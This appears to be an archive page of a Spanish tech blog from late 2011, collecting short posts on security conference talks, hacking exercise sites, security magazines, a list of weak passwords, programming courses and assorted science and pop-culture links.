Ya podemos acceder a las presentaciones de la Ruxcon 2011 celebrada el 19 y 20 del pasado mes de noviembre en Melbourne, Australia:

• 2011 Data Breach Investigations Report - Verizon, US Secret Service, Dutch High Tech Crime Unit - Mark Goudie
• An Embarrassingly Simple Solution to the Problem of Protecting Browser Users - Peter Gutmann
• APCO P25 Security Revisited - The Practical Attacks! - Steve Glass and Matt Robert
• Automated Detection of Software Bugs and Vulnerabilities in Linux - Silvio Cesare
• Digital Forensic Evidence: From Certainty to Shades of Grey - Dr. Bradley Schatz
• Encyclopaedia Of Windows Privilege Escalation - Brett Moore
• Forensic Timeline Splunking - Nick Klein
• GCC Plugins: Die by the Sword - Matt Davis
• Harder, Better, Faster, Stronger... - Louis Nyffenegger & Luke Jahnke
• Malware Mythbusters - Alex Kirk
• Operation Carpo, The Hack of an Australian Registrar - Alex Tilley
• Post Memory Corruption Memory Analysis - Jonathon Brossard
• Unusual and Hilarious Vulnerabilities - R00t Dude
• Hacking Hollywood - Nick Freeman / vt
• All your RFz Belong to Me: Hacking the Wireless World with GNU Radio - Balint Seeber
• Windows Kernel Vulnerability Research and Exploitation - Gilad Bakas
• 4 Years and 4 Thousand Websites Worth of Vulnerability Assessments: What Have We Learned? - Jeremiah Grossman
• JBoss security: penetration, protection and patching - David Jorm
• Hacking iPhones and iPads - Ilja Van Sprundel
• Browser GFX Security - Ben Hawkes
• SSL Traffic Analysis Attacks - Vincent Berg
• Mobile and Contactless Payment Security (There’s an App for that!) - Peter Fillmore
• The Security Of 3D Web Extensions - James Forshaw
• Bypassing and Strengthening Linux Security Controls - Andrew Griffiths
• Open Source Intelligence is not just Facebook - Kayne
• Defiling MacOSX - Snare
• Analysis Avoidance Techniques of Malicious Software - Murray Brand
• A Hackers Guide to Internet Marketing - Mark Blaszczyk
• Issues of Teaching Ethical Hacking at the University Level - Peter Hannay
• Faster, More Effective Flowgraph-based Malware Classification - Silvio Cesare
• An Introduction to Software Defined Radio - Balint Seeber
• Femtocell Security and Threats on Telecommunication Infrastructure - Ravi Borgaonk

Bonus: Solución al CTF.

Fuente

2 Millones de texturas libres para descargar

Tela, fibra, metal, piedra, plástico… Como mínimo, cualquier diseñador 2D y 3D debe empezar por tener una biblioteca así.

Rusty Metal Texture Pack

Tileable Grungy Stars

Carpet

Vintage

Starry

Notebook

Dirty Paper

Watercolor

Natural Paper

Old Paper

Bokeh

Vintage Style

Hi Res Watercolor Textures

Paper Texture

Paper Canvas

Grungy Surface

Essential Grunge

64 Grunge Textures

Yellow Grunge

Wood Bumps

Bark

Transparent Wood

Rare Cloth

Er docu der finde: La historia del número 1

La historia del número 1 from Matemáticas on Vimeo.

Cómo consiguió Irán capturar el avión espía no …

Supongo que conocéis la noticia sobre la captura de un avión espía (modelo RQ-170 Sentinel) de los EEUU por parte de Irán (aquí tenéis la noticia). Pues ahora sabemos un  poco más sobre cómo fue capturado.

En esta entrevista un ingeniero iraní explica cómo consiguieron "hackear" el dispositivo para hacerlo aterrizar sin un rasguño (recordemos que lo han capturado intacto).

Al parecer cortaron la comunicación del RQ-170 Sentinel con su centro de mando usando la experiencia obtenida con otros drones capturados. Básicamente los ingenieros iraníes reconfiguraron las coordenadas del GPS del aparato para hacerlo aterrizar en Irán (despegó desde Afganistán).

Toshiba crea una cámara portátil para ver la …

El problema de utilizar un contador geiger para la detección de radiación es que solo la detectas cuando ya estas sobre ella. Ahora imagina poder verla a través de una cámara semi portátil (380 x 110 x 241 mm y 9.8 Kg) y minimizar el contacto con esas superficies. Toshiba ha hecho posible este sueño y actualmente están probándola en Fukushima ya que la zona se considera propicia para hacer estas pruebas. Al reventar el núcleo, partes de esta localidad han quedado muy contaminadas, otras están trabajando en su limpieza y otras no tienen radiación alguna. Esta cámara podría hacerles la vida más fácil a los operarios que trabajan en la descontaminación. Si pasa las pruebas podría estar a la venta en Japón a principios del año que viene.

Microhistorias: La Sala del Amor de Pixar

("La Sala del Amor" de Pixar, Foto NeoPixel)

Las instalaciones de Pixar son realmente magníficas. Se encuentran en una nave industrial enorme sin apenas columnas, casi todo diáfano. Sólo tiene dos pisos y un gigante salón central (más bien una plaza) donde hay sillones, mostradores, armarios (en uno de ellos están todos los Oscar que han recibido), etc.

(Zona Central, foto original aquí)

Mundos conocidos potencialmente habitables

(click para ampliar)

A día 5 diciembre de 2011, y creciendo ...

Puedes visitar la Enciclopedia de Planetas Extrasolares aquí.

Visto en UniverseToday.

ClubHack Mag número 23

Ya tenemos un nuevo número de esta revista sobre seguridad ClubHack. El contenido de la misma es el siguiente:

0x00 Tech Gyan - GSM 0x01 Tool Gyan - Echo Mirage 0x02 Mom’s Guide - OWASP Mobile Security Project 0x03 Legal Gyan - Reasonable Security Practises under IT Act,2008 0x04 Matriux Vibhag - Forensics - Part III 0x05 Poster - Mobile Warfare

Puedes descargar el PDF desde aquí.

Fuente original

Ya puedes ver el cuaderno de Isaac Newton que …

(pulsa en la imagen para verlo)

Puedes consultar al completo (está escaneado desde la primera a la última página en muy buena calidad) en esta web de la Cambridge Digital Library, el cuaderno de notas que usaba Isaac Newton cuando estaba en la universidad, entre 1661 y 1665.  Incluye notas sobre sus estudios, física, metafísica y matemáticas. Quizás es el más curioso de todos los documentos sobre Newton que hay escaneados en la librería (aquí puedes consultarlo todos, incluso el famoso Philosophiæ Naturalis Principia Mathematica), ya que en él podemos encontrar incluso sus pensamiento filosóficos.

Casa optimizada para jugar en red

Vaya pedazo de casa tiene este ingeniero de Google en la cual se ha montado este sistema de hasta 12 ordenadores (seis en cada habitación) para jugar a juegos en red. Los monitores y teclado están separados, las CPUs están instaladas en un rack en otra habitación.

Estas son las características de los equipos:

• CPU: Intel Core i5-2500
• GPU: MSI N560GTX (nVidia GeForce 560)
• Placa base: MSI P67A-C43 (Intel P67 chipset)
• RAM: 8GB (2x4GB DDR3-1333)
• Monitor: ASUS VE278Q (27" 1080p)

Además se ha instalado un sistema para evitar el tener que actualizar las 12 estaciones cada vez que quiere jugar (tanto los parches del juego como los parches del S.O.). Esto lo hemos vivido seguro todos ¿en cuantas partidas en red habéis estado más de la mitad (por no decir el 90%) del tiempo instalando los equipos y actualizándolos?.

Así suenan los algoritmos de ordenamiento

Nunca te imaginarías que sonaran tan bien los algoritmos de ordenamiento que tanto dolores de cabeza nos han dado a más de uno en Estructuras de Datos ;)

Guía de Bash-Scripting Avanzada

Genial guía de programación (completa y gratuita) avanzada en Bash Scripting. Si utilizas este tipo de scripts, tienes que echarle un vistazo.

Podéis consultarla desde este enlace.

2600: The hacker archive

Creo que 2600 no necesita presentación alguna. Sigo el trabajo de este equipo desde hace algún tiempo y soy seguidor fiel a su podcast Off the hook, y aunque también estoy suscrito al Off the wall, a veces me lo salto por falta de tiempo, así como de su revista, que a decir verdad la compro más como apoyo que por otra cosa, aunque de vez en cuando sacan algún artículo que merece la pena.

Emulador NES escrito en C++11

En un total de unas 940 líneas de código escrito en C++11, está escrito este emulador de NES que podemos ver en 2 vídeos, además de acceder a su código fuente.

En el primer vídeo de 15 minutos de duración vemos como se escribe el emulador. Su autor Joel Yliluoma, grabó la sesión mientras que escribía dicho emulador.

En este segundo vídeo, vemos como se compila y ejecuta dicho el emulador.

La Historia del Mundo, en Facebook

(pulsa en la imagen para verlo completo)

Genial, desde la creación del Universo hasta nuestros días, visto en CollegeHumor.

Cómo escribir drivers para sistemas basados en …

Si te inquieta este campo o simplemente te de dedicas a ellos, la información que a continuación enlazo te va a resultar de gran interés.

De la mano de  [email protected]  podemos acceder a un conjunto de tutoriales que nos enseñan a escribir drivers para sistemas basados en Windows NT como: NT4, 2000, XP y 2003. Aunque estos no son las últimas versiones, la mayor parte de la información contenida en estos textos todavía es válida. Y aunque los los tutoriales se basen en ensamblador para MASM32, de nuevo, la mayoría de los conceptos son aplicables al desarrollo de drivers.

The Raveonettes "Break Up Girls!", para este …

Grupazo The Raveonettes.

Magic Cable Trio (3 en uno)

Muy útil, cuesta 20$ y puedes comprarlo aquí.

Visto en TheFireWire.

La diferencia entre Dios, Spiderman, Santa Claus y …

Diagrama de Venn visto en GeeksAreSexy.

Un juego "snake" dentro de un URI

Nos encantan en CyberHades este tipo de programas que creo podemos catalogar de “código ofuscado”. En esta ocasión el autor es capaz de hacer un juego tipo “snake ó nibble” en javascript y que encaje dentro de un URI. De hecho podrías poner todo el código del programa en un enlace (link) directamente.

Sólo tiene que copiar el código fuente en la barra del navegador (o pulsa aquí para probarlo, me ha funcionado en Firefox y Chrome).

Er docu der finde: El último teorema de Fermat …

 

 

Parte 1

Parte 2

Parte 3

Parte 4

Parte 5

Gérmenes tecnológicos (Infografía)

¡Es más limpio programar sobre el water que sobre el teclado! Y el 16% de los teléfonos móviles ¡tienen caca! ¿Dónde co**nes os metéis el teléfono? Es que desde que le pusieron vibrador a los móviles…

Fuente

Curso de programación para Android

Vladimir Kulyukin profesor del departamento de ciencias de la computación de la universidad del estado de Utah, ha puesto disponible de forma totalmente gratuita un completísimo curso sobre programación para Android. Cada tema del curso no sólo va acompañado con la correspondiente presentación, sino además con varios vídeos de demostración.

Este curso está dividido en las siguiente 14 clases:

• Lecture 01: Software Installation, Documentation and Coding Resources, Android OS, Components of Android Application, XML Primer

• Lecture 02: Developing for Mobile Devices (Best Practices), Developing for Android (Best Practices), User Interfaces, Views, Layouts, Code vs. XML

• Lecture 03:User Interfaces, Dynamic GUI Adjustment, Relative Layouts, Tabular Layouts, Application and Activity Lifetimes, Managing Multiple Activities within One Application

• Lecture 04: Adapter Design Pattern, Android Adapters, Android ArrayAdapters, Intents

• Lecture 05: Intent Broadcast, Intent Reception, Main Menus, Secondary Menus, Option Menus, Submenus, Context Menus, Menu Construction, Responding to Menu Events, Menu Setup
• Lecture 06: Resources, Custom Views, Custom ArrayAdapters, Internet Access from Android Applications
• Lecture 07: XML Parsing, Internet Access from Android Applications, Data Persistence through Files and SharedPreferences
• Lecture 08: Sharing SharedPreferences, Persisting UI States through SharedPreferences and Bundles, Data Persistence with Databases
• Lecture 09: SQLite, SQLite Database Adapters, SQLite Database Helpers, Universal Resource Identifiers, Representation State Transfers, Content Providers
• Lecture 10: Location-Based Services, Obtaining Debug Certificates and Map API Keys, Emulator Setup for Location-Based Projects, Location Providers, KML Tutorial, Geocoding and Google Maps
• No lecture on Nov. 08, 2011.
• Lecture 11: Multitasking, Development and Consumption of Services, Started (Local) Services, Bound (Remote) Services, Consumption of HTTP Services, Development of Started Services
• Lecture 12: Started IntentServices, Shared Agendas, Loopers and Handlers, Bound (Remote) Services, Android Interface Definition Language (AIDL)
• Lecture 13: Android Interface Definition Language (AIDL) and Bound Services, AIDL Complex Types, Speech Synthesis, Overcoming TTS Limitations through Phonetic Spelling, Overcoming TTS Limitations through Human Recordings, Teaching Android Applications to Speak Sanskrit and Russian
• Lecture 14: Touchscreens and Android Native Development Kit (NDK)

Fuente

Tipos de Exoplanetas

La NASA anunció estos días el descubrimiento de un nuevo planeta (Kepler 22-b) que llaman "SuperTierra". En esta infografía nos explican los tipos de planetas que hemos encontrado a "sólo" 1.500 años luz y en nuestra Galaxia.

A día de hoy, llevamos 647 y contando ...

Visto en HowToGeek.

Los robots más curiosos de la historia (ficticia y …

Muchos recuerdos te traerá esta genial recopilación de robots curiosos de la cultura pop, del cine y de la historia. No son los típicos, verás algunos que seguro recuerdas como ese robot de aspecto de perro que salía en la serie Galáctica Estrella de Combate (1978) y que se llamaba Muffit II ó Edgar (técnicamente no es robot, es un ordenador) de la fantástica película Electric Dreams.

(Muffit II, de Galáctica Estrella de Combate)

Vídeos de la W3Conf

Los pasados 15 y 16 de noviembre se celebró en Redmon la W3Conf, la primera conferencia sobre estándares web y la plataforma web abierta (Open Web Platform). encabezada por la W3C.

A continuación podéis encontrar la lista de las presentaciones (vídeos) que se dieron.

• WELCOME: CONTRIBUTING TO OPEN STANDARDS - Vídeo
• TESTING TO PERFECTION - Vídeo
• COMMUNITY GROUPS: A CASE STUDY WITH WEB PAYMENTS - Vídeo
• SHORTCUTS: DEVELOPER DOCUMENTATION - Vídeo
• 5 CSS MAGIC POTIONS FOR YOUR LAYOUT TROUBLES FROM THE FUTURE - Vídeo
• WEB GRAPHICS – A LARGE CREATIVE PALETTE - Vídeo
• WEB PERFOMANCE: MAKING THE WEB FASTER - Vídeo
• SHORTCUTS: GETTING OFF (LINE) WITH THE HTML5 APPCACHE - Vídeo
• THE N-SCREENS PROBLEM: BUILDING APPS IN A WORLD OF TV AND MOBILES - Vídeo
• THE GREAT HTML5 DIVIDE: HOW POLYFILLS AND SHIMS LET YOU LIGHT UP YOUR... - Vídeo
• SHORTCUTS: WEB TYPOGRAPHY - Vídeo
• HMTL5: THE FOUNDATION OF THE WEB PLATFORM - Vídeo
• DAY 1 CLOSING REMARKS - Vídeo
• HTML5 DEMO FEST: THE BEST FROM THE WEB - Vídeo
• SHORTCUTS: DATA VISUALIZATION WITH WEB STANDARDS - Vídeo
• MAKING ACCESSIBILITY MAINSTREAM - Vídeo
• SECURING THE NEXT GENERATION OF WEB APPS - Vídeo
• SHORTCUTS: TOUCH EVENTS - Vídeo
• HELLO. GAMES. HTML5 GAMING TODAY - Vídeo
• SHORTCUTS: MODERNIZR - Vídeo
• PANEL: BROWSERS AND STANDARDS: WHERE THE RUBBER HITS THE ROAD - Vídeo
• DAY 2 CLOSING REMARKS - Vídeo

Sin duda alguna una mina para aquellos que se dediquen al desarrollo de aplicaciones web para ver por dónde van los tiros y lo que nos deparará el futuro en la web.

La historia de Linux (Infografía)

Fuente

(IN)SECURE Magazine 32

Ya te puedes descargar (PDF) esta gran revista sobre seguridad totalmente gratuita. Este es el número 32 correspondiente al mes de diciembre de 2011. El índice es el siguiente:

• 7 questions you always wanted to ask a professional vulnerability researcher
• Insights on drive-by browser history stealing
• Review: Kingston DataTraveler 6000
• RSA Conference Europe 2011
• PacketFence: Because NAC doesn't have to be hard!
• Information security and the threat landscape with Raj Samani
• Security is a dirty word
• Smartphone apps are not that smart: Insecure development practices
• Virus Bulletin 2011
• Infosec professionals: Accomplishing your day job without breaking the law
• WPScan: WordPress Security Scanner
• Securing the enterprise: Is your IT department under siege?

Fuente original

Super Mario (y Luigi) un poco siniestros

SuperMario Gulf of Mexico.

20+1 maneras de sacar más partido a la línea de …

Windows

Yo utilizo la línea de comandos continuamente. Los que ya tenemos una edad y nos hemos criado entre ventanas de fósforo verde y monocromo con cursores parpadeando, nos sentimos más cómodos en este tipo de entorno antes que con el ratón (sobre todo si eres también usuario de Linux). A veces es más rápido realizar tareas desde aquí (sobre todo administrativas) o incluso algunas sólo puedes realizarlas desde el cmd.

Entrevista a Alvy de Microsiervos

Interesante entrevista a Alvy (Álvaro Ibáñez uno de los creadores de nuestra querida y admirada Microsiervos)  realizada por nuestros amigos de SecurityByDefault. Siempre está bien conocer un poco más a las personas que están detrás de esas páginas web que visitamos todos los días.

La evolución de las búsquedas (video)

Interesante vídeo (en inglés, puedes activar los subtítulos) donde algunos empleados de Google nos explican cómo hacer búsquedas mejores y más rápidas, además de un repaso a la evolución de las búsquedas en Internet.

La FOCA, Chema y Kevin Mitnick

Menudo trío ;). Ya nos dijo nuestro amigo Chema que vería pronto en Madrid al gran Kevin Mitnick (que vimos este año en la Campus Party). Según parece, Mitnick se interesó por la FOCA y es una herramienta que él utiliza habitualmente.

Pues ayer fue el gran día, en el blog de Chema tienes más información, pero queremos saber más de esas charlitas entre vinitos (¿le invitaste a Tochuelo?) y cervezas.

WTF! WTF! WTF! (triple) ¿De dónde ha salido este …

Ni en io9 (donde lo he visto) lo saben. No es el infame ET Turco.

Qué mal rollo madre mía :)

Un Timelapse de un mundo virtual: Skyrim

httpv://youtu.be/pIQLZsB5nfU

Creo que es el primer Timelapse que veo de un mundo virtual (del juego Skyrim, que parece una obra maestra), aunque la verdad es que hay poca diferencia con el real. Fijaos en el detalle del viento, las nubes, la nieve, el sol, la luna, la gente paseando, etc.

Un auténtico mundo virtual en funcionamiento.

Ya tengo mi regalo de Navidad ;)

Skyrim

Análisis en Meristation.

Visto en Dorkly.

Dentro del almacén más grande de Amazon.com

Fotos del interior del almacén de Swansea, en Gales. Es uno de los almacenes más grandes que tiene Amazon por el mundo.

Visto en TheAwesomer.

Kyte "Sunlight", para este domingo por la mañana

Kyte

Un día en la vida de algunos empleados de Blizzard

Seguro que alguna vez te has imaginado cómo sería el día a día de un empleado de Blizzard, esos que han programado World of Warcraft ó Diablo III entre otros. Aprovechando el 20 aniversario (no te pierdas otros contenidos como videos y la espectacular colección de armas reales del juego), están publicando entrevistas a varios de sus programadores, analistas y diseñadores donde explican casi hora por hora su día de trabajo.

De momento, estas tres son las que hay publicadas (quedan dos más):

Microhistorias: Ada Lovelace y el primer algoritmo …

(fuente de la foto aquí)

En esta otra Microhistoria voy a hablar un poco de Ada Lovelace, primera programadora/or de la historia, aprovechando que estamos justo entre el aniversario de su nacimiento y de su muerte.

Ya veréis que su vida y personalidad son realmente fascinantes, voy a hacer un pequeño resumen centrándome sobre todo en su gran aportación a la Informática y algunos hechos curiosos de su vida.

Er docu der finde: Los dos códigos que gobiernan …

Microhistorias: el único disco de Bob Dylan que …

La historia del iPod es casi igual de increíble y apasionante  que la historia de los ordenadores Mac y Macintosh. Si queréis un libro para profundizar en ella, os recomiendo "The Cult of iPod". Con este y las otras biografías de Steve Jobs como iCon, no sólo conocerás la historia de productos de Apple. La gran influencia en el mercado de la informática y la música de este genio tan peculiar hacía que todos "bailaran" a su ritmo, adaptándose o directamente enfrentándose con él.

El teclado y ratón más futuristas, pronto …

Para poder realizar este producto necesitaban una aportación de 50.000$. Pues ya llevan 67.017$ así que pronto lo veremos en circulación. Hechos con cristal y base de metal, están diseñados usando tecnología actual (una cámara) y además no tienen partes móviles.

Además el software es Open Source, lo que abre grandes posibilidades a la hora de ampliar el funcionamiento  de los dispositivos.

Carrier IQ, la aplicación secreta que te vigila

httpv://youtu.be/T17XQI_AYNo

Menudo lío se está montando en el mundo de Android de los Smartphones. Un desarrollador de aplicaciones ha publicado una prueba concluyente donde demuestra que millones de smartphones con Android (iPhone, Nokia y Blackberry también) son monitorizados secretamente controlando las pulsaciones de teclas, localizaciones geográficas y mensajes recibidos.

Trevor Eckhart ha sido el creador de este video donde se prueba que una empresa de Silicon Valley llamada Carrier IQ almacena en tiempo real las teclas pulsadas. Usando un sniffer mientras el dispositivo estaba en "modo avión" ha demostrado como cada número pulsado y cada mensaje recibido es monitorizado por el software.

Commodore OS Vision Trailer

Cuando saquen un nuevo Amiga 500, me lo compro fijo!

Fuente

Tutorial nuevas técnicas de remodelación en …

Impresionante tutorial de la mano de Gry Garness, genial artista del makeup, que explica los detalles de las herramientas de licuado, mallado, warp y puppet warp en Photoshop CS5. Es cierto que se puede llegar al mismo resultado con diferentes técnicas, como la del tampón, pero nunca ha sido tan fácil retocar como en esta nueva versión de PS.

Historia del Modem (Infografía)

Fuente

Go Null Yourself 6

La revista sobre seguridad Go Null Yourself ha lanzado un nuevo número, el 6. El índice de este ejemplar es el siguiente:

0x01 Introduction
0x02 Editorials
0x03 Floating Point Numbers Suck                                 dan
0x04 duper's Code Corner                                       duper
0x05 How Skynet Works: An Intro to Neural Networks     elchupathingy
0x06 Defeating NX/DEP With return-to-libc and ROP              storm
0x07 A New Kind of Google Mining                       Shadytel, Inc
0x08 Stupid Shell Tricks                                    teh crew
0x09 An Introduction to Number Theory                            dan
0x0a Information Security Careers Cheatsheet               Dan Guido
0x0b Interview with Dan Rosenberg (bliss)                   teh crew
0x0c Et Cetera, Etc.                                        teh crew

Puedes acceder al contenido de la misma desde aquí

2012 Calendario Sexy Star Wars Pinups

 

A long time ago, in a very, very… sexy galaxy??

 

Fotos de Joey deMarco

Para comprar calendario ($ 25)

Link

Las mujeres que juegan online tienen más sexo …

Pues ya tengo claro el regalo de navidad para mi mujer. ¿XBox o PS3?… mejor compro las dos…}:)

Fuente

Paséate por el Titanic gracias a ORM Entertainment

 

Hace algunos años la gente de ORM Entertainment estuvo trabajando en un proyecto de simulación de entornos llamado Titanic: Lost in the Darkness (como mod para Crysis). Ahora parece que ha sido actualizado y reconvertido para el motor CryEngine 3 ofreciendo un realismo e interactividad nunca vistas a bordo del barco más famoso de la historia.

Link

Cómo comentar un commit según Linus Torvalds

Cuando hablamos de hacer un commit en un sistema de control de versiones, no es más que subir los cambios que hemos hecho localmente a nuestro repositorio. Aunque cuando hablamos de repositorios descentralizados como el caso de Git, el repositorio de código también vive en nuestro sistema local, con la posibilidad de sincronizar con repositorios remotos.

Hecha una pequeña y vaga definición de la acción commit, decir también, que cuando subimos nuestros cambios al repositorio, tenemos la posibilidad de añadir un comentario explicando los cambios realizados. Esto, al ser una buena práctica, quizás sea el motivo por el cual Git, por defecto, no te deje hacer un commit sin introducir una explicación. Otros repositorios como Subversion por ejemplo, dicho comentario es opcional.

Ejercicios prácticos sobre ingeniería inversa con …

A diferencia de la entrada del otro día sobre ejercicios prácticos de hacking que abarcaba muchas técnicas de explotación, en este caso los ejercicios están enfocados a la ingeniería inversa o como lo definen los autores de dichos ejercicios, auditoría de binarios.

En este caso todo lo que necesita es este archivo zip que contiene no sólo todos los ficheros que necesitas para completar tus ejercicios, sino que además viene con la versión gratuita de IDA Pro 5.0. El archivo está protegido con la contraseña: fdcd2ff4c2180329053650f3075d39f4

Tycho "The Daydream", para hoy domingo ... por la …

Tycho.

Código fuente de Doom 3 liberado

Ya nos lo contó tuxotron en este post, ahora ya es oficial, el motor de Doom 3 ya está liberado y publicado. Se llama Tech 4 y juegos clásico como Doom 3, Wolfestein y Quake4 han sido creados usándolo (y no está obsoleto, el año que viene saldrá Prey 2 hecho con este motor). El código fuente no tiene ningún dato del juego Doom 3, ya que aún está afectado por la EULA (End User Licence Agreement, licencia del usuario final).

Realidad Aumentada con la PS Vita

PS Vita.

Wow!

Pantallas de arranque de varios ordenadores y …

Bonita y nostálgica colección que te traerá buenos recuerdos, donde aparecen las pantallas de arranque (Boot Up) de varios sistemas de videoconsolas y ordenadores retro. Podrás ver la pantalla de arranque (pulsa en cada enlace para verla) del clásico BBC Micro, Amiga, Vic 20, Spectrum, Amstrad, Commodore 64 ,MSX, Radio Shack,  etc, incluso una del OS/2 Warp de IBM (pulsa aquí si quieres saber más sobre este sistema operativo de IBM).

Visto en "The Old Computer".

Presentaciones del Google Developer Day 2011 - …

Android	Chrome & HTML5	Cloud	Google+
Android Market for Developers - Rich Hyndman (G+)	Making Your Web Apps Accessible Using HTML5 and ChromeVox - Mike West (G+, Twitterblog)	Finding Your Place in the World: Google Places API - Mano Marks (G+, twitterand blog)	Google+ and the +1 Button - Ade Oshineye (G+, twitter and blog)
Excellence in the Android User Experience - Nick Butcher (G+)	Working Off the Grid: HTML5 Offline - Ido Green (G+, twitter andblog)	Google App Engine Overview & Update - Wesley Chun (G+)	Using the Google+ APIs - Chris Chabot (G+)
Google TV: Open for Android Developers - Christian Kurzke (G+)	Bleeding Edge HTML5 - from Ido Green and Paul Kinlan (G+, Twittera/a> andblog)	Building Integrated Applications on Google's Cloud Technologies - Michael Manoochehri (G+or Twitter)	Building Google+ Hangout Apps - Jonathan Beri (G+, twitter and blog)
High-performance graphics for Android - Sparky Rhode (G+)	These Aren't the Sites You're Looking For: Modern HTML5 Web Apps - Mike West (G+, Twitterblog)	Go on App Engine - Andrew Gerrand (G+,twitter)	OAuth and OpenID for Data Access and Identity in web apps - Ryan Boyd (G+, twitter)
What’s new and important in Android - Bruno Oliveira (G+)	Privacy-related APIs for Google Chrome Extensions - Dominic Battre (G+), Bernhard Bauer (G+) and Pam G(G+)	Accelerated Beginner App Engine Workshop - Wesley Chun (G+)	Dart: a new programming language for structured web programming - Anders Sandholm (G+)
			Crease: Tiling Window Manager for Android Tablets - Philipp Comans (G+) ; OpenSocial 2.0 - Viva la Open App Revolution - Bastian Hofmann (G+) Cycling The Alps - Dennis Wegewijs (G+) ; See what's next: A Mobile App Called Fjutur - Rodja Trappe (G+) ; The architecture of LiquidFeedback - Interactive Democracy - Björn Swierczek (G+) & Jakob Flier (G+) ; Eclipse DataBinding for Android by Stefan Nowacki ; Native Mobile Applications with the Google Web Toolkit(GWT) - Alain Ekambi (G+) ; Write Cross-Platform Web-Apps in Java - Jonas Gehring (G+) ; Rain Alarm - Michael Diener (G+)
Android Office Hours - Sparky Rhode (G+)	V8 Performance Tuning Tricks - Daniel Clifford (G+)	Monetizing Web Apps - Mihai Ionescu (G+,twitter)
Integrating with Google Apps: New APIs, New Features and Best Practices - Ryan Boyd (G+)	DevTools Tips and Tricks - Ido Green (G+, twitter andblog)	HTML5, Flash and the Battle for Faster YouTube Cat Videos - Greg Schechter (G+,Twitter and blog)

Fuente

Hallan el compuesto que mata al VIH

El compuesto sintético es conocido como PD 404,182 y mata al virus nada más entrar en contacto con él sin que éste pueda defenderse. Rompe el virus causante de la enfermedad antes de que pueda infectar a las células. La investigación ha sido realizada por Texas A&M University y el Instituto de investigación Scripps y ya se considera el mayor avance hasta la fecha contra la enfermedad. No es una cura para el VIH sino un tratamiento preventivo, parece que se va a tratar como gel tópico.

Las 10 mejores herramientas online para tus …

Con estas herramientas ya no tienes que preocuparte de si tu portátil funcionará cuando te toque presentar o si el proyector te va a dar algún disgusto, etc.

Quizás lo más cómodo y seguro llegado el día y la hora D, sea tener tu presentación en la dichosa nube. Para ello os dejo un listado con las mejores webs gratuitas (algunas tienen planes de pago) que te facilitarán la vida a la hora de presentar:

Er docu der finde: Aprender de los robots

Ejercicios prácticos sobre hacking

Ya sea por motivos profesionales, porque te estés preparando para un wargame o porque simplemente sea uno de tus hobbies, en exploit-excercises.com han creado 3 proyectos que a través de ejercicios prácticos tocaremos distintos temas sobre hacking/seguridad como: escalada de privilegios, explotación por desbordamiento de pila, format string, ASLR, mecanismos de protección de pila y mucho más.

Todo ello en tres proyectos diferentes:

• Nebula: enfocado a la escalada de privilegios en sistemas Linux. Los temas que toca son:
• SUID files
• Permissions
• Race conditions
• Shell meta-variables
• $PATH weaknesses
• Scripting language weaknesses
• Binary compilation failures
•  Protostar: corrupción de memoria en sistemas Linux x86.
• Network programming
  • Byte order
  • Handling sockets
• Stack overflows
• Format strings
• Heap overflows
• Fusion: es un poco más avanzado que Protostar y trata técnicas de explotación más avanzadas y de mecanismos anti explotación:
• Address Space Layout Randomisation
• Position Independent Executables
• Non-executable Memory
• Source Code Fortification (_DFORTIFY_SOURCE=)
• Stack Smashing Protection (ProPolice / SSP)
• Cryptographic issues
• Timing attacks
• Variety of network protocols (such as Protocol Buffers and Sun RPC)

Happy hacking!

Apple tarda de media 245 días en solucionar …

(Foto vista aquí)

No es la primera vez que vemos la pasividad de Apple ante algunas situaciones de seguridad. Si eres de aquellos que piensan que Apple no tiene virus ni problemas de seguridad, sólo tienes que visitar a  nuestros amigos del blog Seguridad Apple, seguro que cambias de idea.

Por ejemplo, FinFisher es un conocido troyano utilizado para espionaje remoto utlizado por muchos gobiernos del mundo. Un conocido analista de seguridad hizo público a mediados de 2008 sus características y su funcionamiento. El 11 de Julio de 2008 envió un correo a Apple explicando detalladamente su funcionamiento. Contactaron el 28 de Octubre con él. Pero de 2011.

Analizando el formato GIF, a fondo

En este artículo puedes encontrar un gran análisis a fondo del formato de imágen GIF. Toda la explicación se complemente con un GIF de ejemplo donde se explican todos sus bytes uno por uno.

Básicamente, un GIF está formado por diferentes bloques de datos y todos con una misma estructura. Luego estos bloques se repiten hasta llegar al final del fichero (trailer). Echa un vistazo al diagrama que encabeza este post donde se muestra perfectamente dicha estructura de bloques repetitiva.

El nuevo arte: robotizado y programado

Esta torre de seis metros está íntegramente construida con robots voladores. El ensamblaje consta de 1500 ladrillos de poliestireno y los robots están programados para interactuar entre ellos, calcular las medidas y averiguar la situación exacta en la que colocarán el siguiente ladrillo (X, Y y Z). Los artífices de la idea han sido los arquitectos suizos Gramazio & Kohler and Raffaello D’Andrea. La exposición se realizará en el FRAC Centre de Orleans, Francia, desde el 2 de Diciembre al 19 de Febrero de 2012.

Hoy en Google: juego de enigmas con Stanislaw Lem

Hoy google nos sorprende con una serie de pequeños y geniales enigmas para terminar hablando de Stanislaw Lem, un escritor polaco de ciencia ficción un poco estrambótico pero con mucha visión de futuro. Hoy lo homenajea google en el 60 aniversario de su primera publicación. Obras suyas son Solaris (sí, aquella extraña película de George Clooney) y Ciberiada.

Las peores 25 contraseñas del 2011

En cnet.com.au han hecho una recopilación de los 25 peores passwords de este año que se acaba. Además de dicha lista, también nos dan algunas pistas de como generar passwords más seguros y/o como guardar estos de forma segura.

Esta es la lista los mismos:

1. password
2. 123456
3. 12345678
4. qwerty
5. abc123
6. monkey
7. 1234567
8. letmein
9. trustno1
10. dragon
11. baseball
12. 111111
13. iloveyou
14. master
15. sunshine
16. ashley
17. bailey
18. passw0rd
19. shadow
20. 123123
21. 654321
22. superman
23. qazwsx
24. michael
25. football

Como podemos ver la lista no varía de un año a otro.

Libros técnicos para el que quiera olvidarse de …

Aquí os dejo varios libros que he ido recopilando a lo largo de las pasadas 2 semanas:

• Object-Oriented Programming with ANSI-C (PDF)
• jQuery Fundamentals
• Smooth CoffeeScript
• The Boost C++ Libraries
• Small Memory Software. Patterns for systems with limited memory
• Welcome to the (System) Developer's Edge

Pues los que se quieran olvidar de política o para los que celebren acción de gracias.

Rover Curiosity a punto para el lanzamiento

Impresionante animación donde se ven todas las fases: viaje, entrada, descenso, aterrizaje y operaciones en superficie. Hay que pensar de forma optimista pero parece más ciencia ficción que ciencia.

El próximo sábado 26 de noviembre esta previsto el lanzamiento del cohete Atlas V llevando dentro de sí al vehículo de exploración marciana más complejo jamás fabricado por el hombre. Aterrizará en Marte a mediados de agosto de 2012.

Anuncio de TV World of Warcraft: Chuck Norris - …

